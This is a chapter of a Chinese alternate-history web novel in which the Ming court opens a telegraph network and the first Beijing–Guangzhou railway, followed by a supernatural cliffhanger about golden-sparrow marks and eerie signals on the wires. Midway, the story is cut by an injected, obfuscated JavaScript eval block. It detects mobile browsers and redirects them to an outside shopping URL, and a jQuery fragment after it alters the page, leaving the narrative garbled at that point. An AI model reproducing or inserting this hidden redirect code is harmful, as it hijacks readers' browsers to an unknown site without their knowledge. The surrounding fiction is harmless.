崇祯十五年,腊月十八。
北京城一夜之间白了头。雪片子扑簌簌往下砸,把紫禁城的琉璃瓦盖了层厚棉被。可前门大街上,人却比往常多了三成——都挤在新建的“电报总局”门外,伸着脖子往里瞅。
总局大门是西式样式,青砖砌的拱门,上头挂着御笔匾额:“瞬息万里”。门口站着四个兵,持着火铳,腰杆挺得笔直。
“让让!让让!”一个穿着棉袍的书办挤出来,手里拿着张刚抄好的纸条,扯着嗓子喊:“广州急电——腊月十七戌时三刻到!”
人群嗡地炸了。
“昨儿戌时?今儿早就到了?”
“这才几个时辰?飞也没这么快啊!”
“写的啥?写的啥?”
书办清了清嗓子,朗声念:“‘广州巡抚奏:南洋商会腊月十六返航,携香料三千担,象牙五百根,白银八万两。船队平安,已入港。’——落款:广州电报局,腊月十八卯时发。”
念完了,他把纸条贴在门口的告示栏上。一群人围上去看,识字的大声念给不识字的人听。
“神了!真神了!”一个卖糖葫芦的老汉咂嘴,“搁以前,广州的折子走驿道,得半个月才能到京城。现在……眨眼的工夫?”
他旁边一个穿绸衫的中年人嗤笑:“老丈,这您就不懂了。电报用的是电,电比马快!您知道这电报网花了多少银子吗?三百万两!从北京到广州,一千八百里,沿途设了三十六处电报站,每站都有专人守着,日夜不停。”
“三百万两?”老汉舌头打结,“那得买多少糖葫芦……”
正说着,远处传来“呜——”的一声长鸣。
声音沉闷,像巨兽低吼,震得房檐上的雪簌簌往下落。
“火车!”不知谁喊了一声。
人群又呼啦啦往西边涌——那儿是新建的北京西站。
西站广场上,黑压压全是人。
广场中央搭着座三丈高的彩楼,披红挂绿。楼前停着个黑乎乎的大家伙——车头是钢铁造的,前头竖着根粗烟囱,正突突冒着白气。后面连着十二节车厢,漆成朱红色,窗户镶着玻璃,在雪光下亮得晃眼。
这就是“京广线”的首列火车,“洪武号”。
车头旁站着群人。打头的是个二十出头的年轻人,穿着明黄色龙纹常服,披着貂皮斗篷,正是皇帝朱常洛。他身边跟着内阁首辅徐光启(老头八十多了,拄着拐杖硬要来),兵部尚书杨博,工部尚书赵铁柱——这位是周大山的儿子,如今也五十多了,接了他爹的班。
“陛下,”赵铁柱指着火车,声音激动得发颤,“这车头是格物大学最新研制的‘奋进三型’,烧煤,蒸汽驱动,满载时一个时辰能跑六十里!从北京到广州,四千八百里,日夜不停的话……十天准到!”
十天。
从北京到广州。
朱常洛看着这钢铁巨兽,眼神复杂。他想起小时候,父皇还在时,从广州运荔枝到北京,得用快马接力,一路上不知道跑死多少马,送到时荔枝也蔫了大半。
现在……十天。
“好。”他点头,“上车。”
皇帝要亲自乘首列火车南巡的消息,三个月前就传开了。反对的声音不是没有——都察院那帮老夫子上了十几道折子,说什么“天子乘奇技淫巧之物,有损威仪”、“火车轰鸣,惊扰地脉”、“劳民伤财”等等。
最跳的是礼部尚书胡琏。
这老头是周昌的门生,周昌前年病死了,他接了班,成了保守派新旗手。腊月十五的大朝会上,他当着满朝文武的面,跪在地上哭:“陛下!祖宗之法不可废啊!火车那东西,臣去看过,声如雷鸣,烟如妖雾,实乃不祥之物!况且沿途征用民地三万亩,耗费国库五百万两银子——有这些银子,修水利、赈灾民,哪样不好?何必弄这华而不实的玩意儿?”
他这一哭,十几个言官跟着跪了一片。
年轻的官员们气得牙痒痒,可胡琏是正二品尚书,资历老,一时间还真不好驳。
朱常洛没说话,看向徐光启。
老首辅颤巍巍站起来,拐杖往地上一顿:“胡尚书此言差矣!”
满殿安静。
“你说火车华而不实?”徐光启冷笑,“好,老夫给你算笔账。京广线一通,从湖广运粮到京城,运费能降七成!从广东运盐到河南,时间能省八成!商贾往来,货物周转,一年能给朝廷多收多少税?二百万两不止!”
他顿了顿,环视众臣:“再说征用民地——那是按市价买的!一亩地十两银子,比市价还高二成。沿途百姓拿了银子,或进城做工,或另购田地,哪个不念朝廷的好?你胡尚书老家在保定吧?保定站周边地价涨了三倍,你家族人没少赚吧?”
胡琏脸一白:“下官……下官不知……”
“不知?”徐光启从袖中掏出一本账册,“这是保定府衙的登记册——胡氏族人共卖地三百二十亩,得银三千二百两。转头在车站旁买了五十亩荒地,如今盖了客栈、货栈,一年租金就收五百两。胡尚书,你这‘不知’,装得挺像啊!”
哄堂大笑。
胡琏瘫跪在地,老脸涨成猪肝色。
朱常洛这才缓缓开口:“胡尚书忧国忧民,朕心甚慰。不过……这火车,朕坐定了。腊月十八,通车典礼,诸位爱卿有愿意同往的,朕欢迎。不愿的,留在京中值班便是。”
这话绵里藏针。谁不去,就是不给皇帝面子。
结果腊月十八这天,六部九卿来了九成。胡琏也来了,缩在人群最后头,低着头,恨不得找个地缝钻进去。
“呜——呜——”
汽笛又响了两声。
朱常洛在赵铁柱搀扶下登上头等车厢。车厢里铺着地毯,摆着紫檀木桌椅,桌上放着热茶点心。窗户是双层的,隔音又保温。
徐光启被扶上来时,摸着车厢壁感叹:“当年王爷说‘将来一日千里’,老夫还以为他说梦话……没想到,真有这一天。”
火车缓缓启动。
起初很慢,能看见站台上的人群在挥手。渐渐快了,窗外的景物开始倒退——房屋、树木、城墙……然后是茫茫雪原。
“一个时辰六十里……”朱常洛看着窗外飞掠而过的田野,轻声问,“赵尚书,这技术,是咱们自己琢磨出来的?”
“回陛下,八成是。”赵铁柱躬身,“王爷早年在格物大学设了‘蒸汽机科’,专门研究这个。车头的锅炉、气缸、传动齿轮,都是咱们自己造的。只有那压力表……是从葡萄牙人那儿买的,不过格物大学已经在仿制了,明年就能自己产。”
“王爷……”朱常洛望向南方,“他老人家,现在该听到汽笛声了吧?”
同一时刻,广州白云山,归真园。
苏惟瑾正带着五岁的孙子苏明理在院里堆雪人。孩子穿着红棉袄,戴虎头帽,小脸冻得通红,却乐得咯咯笑。
“爷爷,这是什么?”小明理指着园外远处——那里是新建的广州北站,此刻正冒着白烟。
“那是火车。”苏惟瑾把孙子抱起来,“大铁车,能拉好多好多人,跑得可快了。”
“多快?”
“从咱们这儿到北京……”苏惟瑾想了想,“十天就能到。”
“十天?”孩子眨着大眼睛,“爹爹说,他小时候跟您从沭阳到北京,走了三个月呢。”
“是啊。”苏惟瑾笑了,笑容里满是感慨,“爷爷像你这么大时,从广州到北京要走三个月。现在啊,十天。将来……也许只要三天。”
“怎么做到?”孩子问。
苏惟瑾指着园中那棵老桃树——虽然冬天叶子落光了,但枝干苍劲。“靠科学,靠一代代人努力。就像这棵树,爷爷种下苗,你爹浇水施肥,到你这一代……就该开花结果了。”
正说着,远处传来“呜——”的汽笛声。
沉闷,悠长,像时代的号角。
苏惟瑾抱着孙子,静静听着。掌心的金雀纹,忽然微微发烫。
火车过了保定,速度提上来了。
车厢里,官员们起初还有些紧张,握着扶手不敢动。可见皇帝泰然自若地喝茶看报,渐渐也放松了。有人凑到窗边看风景,有人小声议论。
最兴奋的是几个年轻翰林——他们是第一次出远门,看着窗外飞掠的村庄、河流、桥梁,激动得脸红。
“快看!那是滹沱河!咱们过桥了!”
“这桥是钢架结构,听说能承重十万斤!”
“一个时辰跑了八十里……天啊,照这个速度,明天这时候就到郑州了!”
胡琏坐在角落里,闭着眼,假装养神。可耳朵却竖着,听那些赞叹声。他心里不是滋味——这火车,还真让他挑不出毛病。平稳,快,暖和……比马车强太多了。
正郁闷着,忽然有人喊:“电报!有电报传来!”
众人都是一愣。火车上还能收电报?
赵铁柱笑着解释:“沿途电报站和铁路是并行的。重要消息,可以用电报传到前方车站,车站再派人骑马送到火车上——虽然比直接发电报慢些,但也比驿马快十倍。”
一个电报员匆匆走进车厢,递给赵铁柱一张纸条。
赵铁柱看完,脸上露出古怪神色。他走到朱常洛面前,低声道:“陛下,武昌站急电——湖广巡抚奏,洞庭湖周边试行‘电报传汛’,今日成功预警冰凌,避免溃堤三处,救民三万。”
朱常洛眼睛一亮:“好!”
赵铁柱声音提高,让全车厢都能听见:“陛下,臣请将此事通报全车,以彰电报之利!”
“准。”
消息传开,车厢里沸腾了。
“预警溃堤?这……这功德无量啊!”
“三万百姓!这电报建得值!”
“何止值?一条电报线才几个钱?救了三万人命,功德无量!”
刚才还闭目养神的胡琏,这会儿坐不住了。他老家就在洞庭湖边上,族人多在那边。若真溃了堤……
他起身,走到赵铁柱面前,拱了拱手:“赵尚书,这电报预警……具体如何操作?”
赵铁柱看了他一眼,还是答道:“沿湖设了十个水位观测点,每点有专人值守,每小时测一次水位。水位异常,立刻发电报到防汛衙门,衙门再发令疏散——从发现险情到命令下达,不到一刻钟。”
“一刻钟……”胡琏喃喃。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349600|186215||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
搁以前,骑马报信,得跑半天。半天工夫,堤早垮了。
他张了张嘴,想说点什么,可终究没说出来,默默退回座位。
徐光启看在眼里,轻笑摇头。
腊月廿八,火车抵达广州。
全程四千八百里,实际走了九天半——比预计还快了半日。
广州站人山人海,比北京站还热闹。广东巡抚带着大小官员迎接,百姓把站台围得水泄不通,都想看看这“铁龙”长啥样。
朱常洛下火车时,腿有些软——坐久了。可精神头极好,看着站台上“广州欢迎陛下”的横幅,笑道:“朕这回,真是‘一日看尽南北花’了。”
当晚,广州巡抚衙门设宴。
席间说起新鲜事——广州城里,有些富户家里装了个叫“电话”的玩意儿。两根铜线连着,这边说话,那边能听见,虽然声音小,杂音大,可确实能通话。
“现在贵,一套要五百两银子。”广东布政使笑道,“不过已经有三十几户装了。商贾用得最多——货栈和铺子离得远,打电话比派人跑腿快。”
朱常洛好奇:“能打多远?”
“目前只能在城里,最远五六里。格物大学正在研究‘中继站’,说将来城和城之间也能打。”
“又是格物大学……”朱常洛喃喃。
他忽然问:“老王爷……知道这些吗?”
“知道。”巡抚忙道,“电话的样机,第一个就送到归真园了。老王爷试了试,说‘挺好,就是声音小点’。还给了几条改进建议,格物大学正在照着改呢。”
宴罢,朱常洛站在衙门口,望着夜空。
广州的冬天不冷,夜风带着海腥味。远处港口灯火通明,那是夜航的商船在装卸货。更远处,白云山在月光下只是个朦胧轮廓。
“陛下,”徐光启不知何时走到身边,“想去看老王爷?”
朱常洛沉默片刻,摇头:“不去了。他老人家既已归隐,朕不去打扰。只是……”他顿了顿,“朕有时会想,若没有王爷,大明今日会是什么样?”
徐光启望着远山,轻声道:“老臣也想不出。王爷就像……就像给大明插上了翅膀。现在翅膀硬了,该自己飞了。”
归真园里,苏惟瑾还没睡。
书房桌上摊着份《大明闻风报》,头版头条是火车通车的报道。旁边放着个木盒子,盒里是个铜制的电话听筒——广州城里的富户们用的还是座机,他这个却是便携式的,虽然只能和园子里的另一部通话,但已是突破。
芸娘端了碗参汤进来,轻声道:“还不睡?”
“就睡。”苏惟瑾接过汤,忽然问,“你说,咱们这辈子,值不值?”
芸娘笑了:“值不值?你看看外头——火车通了,电报有了,电话也出来了。百姓能吃饱饭,孩子能上学堂……这还不值?”
苏惟瑾也笑,喝了口汤。
可放下碗时,他掌心的金雀纹骤然刺痛!
不是微微发烫,是像被烧红的烙铁烫了一下!
几乎同时,书桌上的电话听筒里,传来一阵刺耳的杂音。不是寻常的电流声,而是某种有规律的、类似心跳的“咚咚”声,中间夹杂着极细微的、仿佛来自深渊的呓语。
苏惟瑾猛地抓起听筒。
杂音持续了三息,消失了。
书房恢复安静。
可他知道,那不是幻觉。
超频大脑瞬间将最近所有异常串联:美洲金雀石雕、地下洞窟的呼吸声、除夕夜银花桃树的异变、掌心跳动的金纹、还有此刻电话里的诡异杂音……
这些看似无关的事件,似乎正在被某种力量,通过这张覆盖全国的“网”——电报网、铁路网、电话网——一点点连接起来。
他走到窗前,望向园子深处。
那里,除夕夜银花铺就的“银路”早已消失。可若在月光下细看,能看见地面上有极淡的银色纹路,从桃树下延伸而出,蜿蜒如血管,最终全部指向……白云山地底。
“老爷,”陆松悄无声息地出现在门外,声音发紧,“刚收到琼州急电——所有‘银化人’突然停止移动,全部面朝广州方向,跪下了。他们跪拜的姿势……和美洲那尊金雀石雕底座上的图案,一模一样。”
苏惟瑾闭目。
掌心的金雀纹,此刻正以一种缓慢但坚定的节奏,一下,一下,跳动着。
像心跳。
更像……倒计时。
正月初一子时,全国三十六处电报站的电报机突然同时自行启动!
所有机器吐出同样的纸条,纸上只有一行扭曲的字符——经格物大学古文字专家连夜破译,那是玛雅文与拉丁文混杂的一句话:“七雀已聚,星门将开。地脉为弦,国运为引。”
几乎同时,京广线沿途十二处桥梁的钢架在夜间发出诡异的共鸣声,声音频率与苏惟瑾掌心金纹的跳动完全一致!
更骇人的是,广州城那三十几部电话在午夜时分同时响起,接起来全是同一种杂音——杂音中隐约能辨出一句话,用字正腔圆的大明官话重复着:“归来……归来……”
而这句话的声音,经五位夫人辨认,竟与年轻时的苏惟瑾……有八分相似!